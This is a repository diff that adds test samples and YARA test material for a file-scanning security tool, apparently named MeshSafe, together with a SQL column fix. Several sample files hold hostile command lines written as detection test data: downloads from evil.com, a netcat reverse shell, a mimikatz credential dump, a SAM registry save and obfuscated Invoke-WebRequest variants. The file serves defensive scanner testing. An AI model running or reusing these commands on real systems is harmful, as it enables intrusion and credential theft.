// L4-009: 加密包内无法扫描(不是规则缺失,是 zipfile 跳过加密内容)
|
||||
// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描
|
||||
// L4-014: 开关测试 —— 由引擎 is_enabled() 控制
|
||||
// L4-015: 哈希白名单 —— 需在 policy.yaml 配置,不是 .yar 文件
|
||||
"""
|
||||
|
||||
OUT.write_text(RULES, encoding='utf-8')
|
||||
print(f'✅ 生成 {OUT}')
|
||||
print(f' 规则数: 7 条')
|
||||
print(f' 覆盖 CSV: L4-001/004/005/007/010/011/012')
|
||||
|
||||
# 也需要对应的样本文件(已经有了,在 tests/samples/L4-*.txt 系列)
|
||||
import os
|
||||
SAMPLES = Path(r'd:\project\MeshSafe\tests\samples')
|
||||
|
||||
# L4-005 热加载样本
|
||||
(SAMPLES / 'L4-005_hotreload.txt').write_text('meshsafe-hot-reload-test-string present here', encoding='utf-8')
|
||||
print(f'✅ L4-005_hotreload.txt 已生成')
|
||||
|
||||
# L4-007 meta 标签样本
|
||||
(SAMPLES / 'L4-007_meta_rule.txt').write_text('trojan-metadata-test payload here', encoding='utf-8')
|
||||
print(f'✅ L4-007_meta_rule.txt 已生成')
|
||||
|
||||
# L4-010 正则样本
|
||||
(SAMPLES / 'L4-010_regex_pattern.txt').write_text('powershell -enc ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx+/==', encoding='utf-8')
|
||||
print(f'✅ L4-010_regex_pattern.txt 已生成')
|
||||
|
||||
# L4-011 count 条件样本(同一串出现 5 次)
|
||||
payload = 'malicious_token_count_test\n' * 5
|
||||
(SAMPLES / 'L4-011_count_condition.txt').write_text(payload, encoding='utf-8')
|
||||
print(f'✅ L4-011_count_condition.txt 已生成 (5 次)')
|
||||
|
||||
# L4-012 size 条件样本
|
||||
(SAMPLES / 'L4-012_size_condition.txt').write_text('size_condition_test_payload small file', encoding='utf-8')
|
||||
print(f'✅ L4-012_size_condition.txt 已生成')
|
||||
|
||||
print('\n=== 完成。下一步: docker compose up -d --build api 后靶场就能命中 ===')
|
||||
@@ -1,3 +1,9 @@
|
||||
-- 修复 real_type 字段长度:VARCHAR(128) → VARCHAR(256)
|
||||
-- libmagic 对 ZIP/ISO 等返回的描述可能超过 128 字符
|
||||
ALTER TABLE scan_tasks ALTER COLUMN real_type TYPE VARCHAR(256);
|
||||
|
||||
-- 修复 real_type 字段长度:VARCHAR(256) → VARCHAR(512)
|
||||
-- libmagic 对 MSI/OLE 复合文档会把 Title/Subject/Author/Creating Application 等元数据
|
||||
-- 全部拼进描述串(实测 go1.25.0.windows-amd64.msi 超过 334 字符),超出列宽会让
|
||||
-- 整条 scan_tasks INSERT 失败,连带的 scan_findings 一起丢失——被拒绝的文件反而不留痕。
|
||||
ALTER TABLE scan_tasks ALTER COLUMN real_type TYPE VARCHAR(512);
|
||||
|
||||
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
BIN
tests/samples/L0-001_jpg_normal.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 54 B |
BIN
tests/samples/L0-002_png_normal.png
Normal file
BIN
tests/samples/L0-002_png_normal.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 58 B |
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
BIN
tests/samples/L0-003_docx_normal.docx
Normal file
Binary file not shown.
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
2
tests/samples/L0-004_pdf_normal.pdf
Normal file
@@ -0,0 +1,2 @@
|
||||
%PDF-1.4
|
||||
%%EOF
|
||||
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
BIN
tests/samples/L0-005_pe_clean.exe
Normal file
Binary file not shown.
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
BIN
tests/samples/L0-006_disguise_jpg_pe.jpg
Normal file
Binary file not shown.
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
2
tests/samples/L0-007_disguise_txt_pdf.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
%PDF-1.4
|
||||
%%EOF
|
||||
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
BIN
tests/samples/L0-008_disguise_png_zip.png
Normal file
Binary file not shown.
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
BIN
tests/samples/L0-009_double_ext_pdf_exe.pdf.exe
Normal file
Binary file not shown.
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
1
tests/samples/L0-010_double_ext_txt_ps1.txt.ps1
Normal file
@@ -0,0 +1 @@
|
||||
echo hello
|
||||
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
1
tests/samples/L0-011_double_ext_docx_js.docx.js
Normal file
@@ -0,0 +1 @@
|
||||
alert('x');
|
||||
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
2
tests/samples/L0-012_double_ext_xlsx_bat.xlsx.bat
Normal file
@@ -0,0 +1,2 @@
|
||||
@echo off
|
||||
echo hello
|
||||
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-013_clean.ps1
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-014_clean.bat
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-015_clean.cmd
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-016_clean.vbs
Normal file
0
tests/samples/L0-017_clean.js
Normal file
0
tests/samples/L0-017_clean.js
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
BIN
tests/samples/L0-018_zip_traversal.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
BIN
tests/samples/L0-019_zip_deep_traversal.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
BIN
tests/samples/L0-020_zip_bomb.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-021_small_bomb.zip
Normal file
BIN
tests/samples/L0-021_small_bomb.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
BIN
tests/samples/L0-022_3layer_nested.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-023_5layer_nested.zip
Normal file
BIN
tests/samples/L0-023_5layer_nested.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-024_encrypted.zip
Normal file
BIN
tests/samples/L0-024_encrypted.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
BIN
tests/samples/L0-025_corrupt_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
BIN
tests/samples/L0-026_corrupt_direntry.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-027_long_filename.zip
Normal file
BIN
tests/samples/L0-027_long_filename.zip
Normal file
Binary file not shown.
BIN
tests/samples/L0-028_unicode_filename.zip
Normal file
BIN
tests/samples/L0-028_unicode_filename.zip
Normal file
Binary file not shown.
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
0
tests/samples/L0-029_zero_byte_exe.exe
Normal file
BIN
tests/samples/L0-030_nested_traversal.zip
Normal file
BIN
tests/samples/L0-030_nested_traversal.zip
Normal file
Binary file not shown.
1
tests/samples/L1-001_eicar.txt
Normal file
1
tests/samples/L1-001_eicar.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
BIN
tests/samples/L1-002_eicar_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L1-003_eicar_in_encrypted.zip
Normal file
BIN
tests/samples/L1-003_eicar_in_encrypted.zip
Normal file
Binary file not shown.
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
BIN
tests/samples/L1-004_eicar_in_docx.docx
Normal file
Binary file not shown.
1
tests/samples/L1-005_eicar_modified.txt
Normal file
1
tests/samples/L1-005_eicar_modified.txt
Normal file
@@ -0,0 +1 @@
|
||||
Y5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-009_minimal.cvd
Normal file
1
tests/samples/L1-009_minimal.cvd
Normal file
@@ -0,0 +1 @@
|
||||
ClamAV-VDB: placeholder test database
|
||||
BIN
tests/samples/L1-010_corrupt.cvd
Normal file
BIN
tests/samples/L1-010_corrupt.cvd
Normal file
Binary file not shown.
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
BIN
tests/samples/L1-011_eicar_in_3layer.zip
Normal file
Binary file not shown.
1
tests/samples/L1-012_eicar_base64.txt
Normal file
1
tests/samples/L1-012_eicar_base64.txt
Normal file
@@ -0,0 +1 @@
|
||||
WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=
|
||||
2
tests/samples/L1-013_bigfile_eicar.txt
Normal file
2
tests/samples/L1-013_bigfile_eicar.txt
Normal file
File diff suppressed because one or more lines are too long
1
tests/samples/L1-014_concurrent_eicar_00.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_00.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_01.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_01.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_02.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_02.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_03.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_03.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_04.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_04.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_05.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_05.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_06.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_06.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_07.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_07.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_08.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_08.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-014_concurrent_eicar_09.txt
Normal file
1
tests/samples/L1-014_concurrent_eicar_09.txt
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
5
tests/samples/L1-014_concurrent_test.txt
Normal file
5
tests/samples/L1-014_concurrent_test.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
MeshSafe concurrent test control file.
|
||||
Running 10 EICAR files concurrently via API.
|
||||
|
||||
Payload:
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L1-015_layer_off_sample.bin
Normal file
1
tests/samples/L1-015_layer_off_sample.bin
Normal file
@@ -0,0 +1 @@
|
||||
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
|
||||
1
tests/samples/L3-001_001_sample.ps1
Normal file
1
tests/samples/L3-001_001_sample.ps1
Normal file
@@ -0,0 +1 @@
|
||||
Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\temp\evil.exe
|
||||
1
tests/samples/L3-002_002_sample.ps1
Normal file
1
tests/samples/L3-002_002_sample.ps1
Normal file
@@ -0,0 +1 @@
|
||||
nc 10.0.0.5 4444 -e /bin/bash
|
||||
1
tests/samples/L3-003_003_sample.bat
Normal file
1
tests/samples/L3-003_003_sample.bat
Normal file
@@ -0,0 +1 @@
|
||||
curl http://evil.com/payload -o evil.exe
|
||||
1
tests/samples/L3-004_004_sample.txt
Normal file
1
tests/samples/L3-004_004_sample.txt
Normal file
@@ -0,0 +1 @@
|
||||
mimikatz.exe privilege::debug sekurlsa::logonpasswords
|
||||
1
tests/samples/L3-005_005_sample.txt
Normal file
1
tests/samples/L3-005_005_sample.txt
Normal file
@@ -0,0 +1 @@
|
||||
reg save HKLM\SAM sam.save
|
||||
1
tests/samples/L3-006_006_sample.txt
Normal file
1
tests/samples/L3-006_006_sample.txt
Normal file
@@ -0,0 +1 @@
|
||||
tscon 1 /dest:rdp-tcp:1
|
||||
1
tests/samples/L3-007_007_sample.txt
Normal file
1
tests/samples/L3-007_007_sample.txt
Normal file
@@ -0,0 +1 @@
|
||||
SW52b2tlLVdlYlJlcXVlc3Q
|
||||
1
tests/samples/L3-008_008_sample.ps1
Normal file
1
tests/samples/L3-008_008_sample.ps1
Normal file
@@ -0,0 +1 @@
|
||||
$a="Invo";$b="ke-WebRequest"; & ($a+$b)
|
||||
2
tests/samples/L3-009_newline_split.txt
Normal file
2
tests/samples/L3-009_newline_split.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
Invoke-Web
|
||||
Request https://evil.com -OutFile evil.exe
|
||||
1
tests/samples/L3-010_010_sample.ps1
Normal file
1
tests/samples/L3-010_010_sample.ps1
Normal file
@@ -0,0 +1 @@
|
||||
Invoke#comment-WebRequest https://evil.com
|
||||
1
tests/samples/L3-011_011_sample.js
Normal file
1
tests/samples/L3-011_011_sample.js
Normal file
@@ -0,0 +1 @@
|
||||
var w = new Function('wget http://evil.com/payload'); w();
|
||||
1
tests/samples/L3-012_012_sample.bat
Normal file
1
tests/samples/L3-012_012_sample.bat
Normal file
@@ -0,0 +1 @@
|
||||
curl http://192.168.1.100/file.zip
|
||||
2
tests/samples/L3-013_normal_scp.sh
Normal file
2
tests/samples/L3-013_normal_scp.sh
Normal file
@@ -0,0 +1,2 @@
|
||||
scp /var/log/app.log ops@192.168.1.100:/backup/logs/
|
||||
rsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/
|
||||
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
BIN
tests/samples/L3-014_l3001_in_zip.zip
Normal file
Binary file not shown.
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
BIN
tests/samples/L3-015_keyword_in_docx.docx
Normal file
Binary file not shown.
0
tests/samples/L3-016_016_sample.ps1
Normal file
0
tests/samples/L3-016_016_sample.ps1
Normal file
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user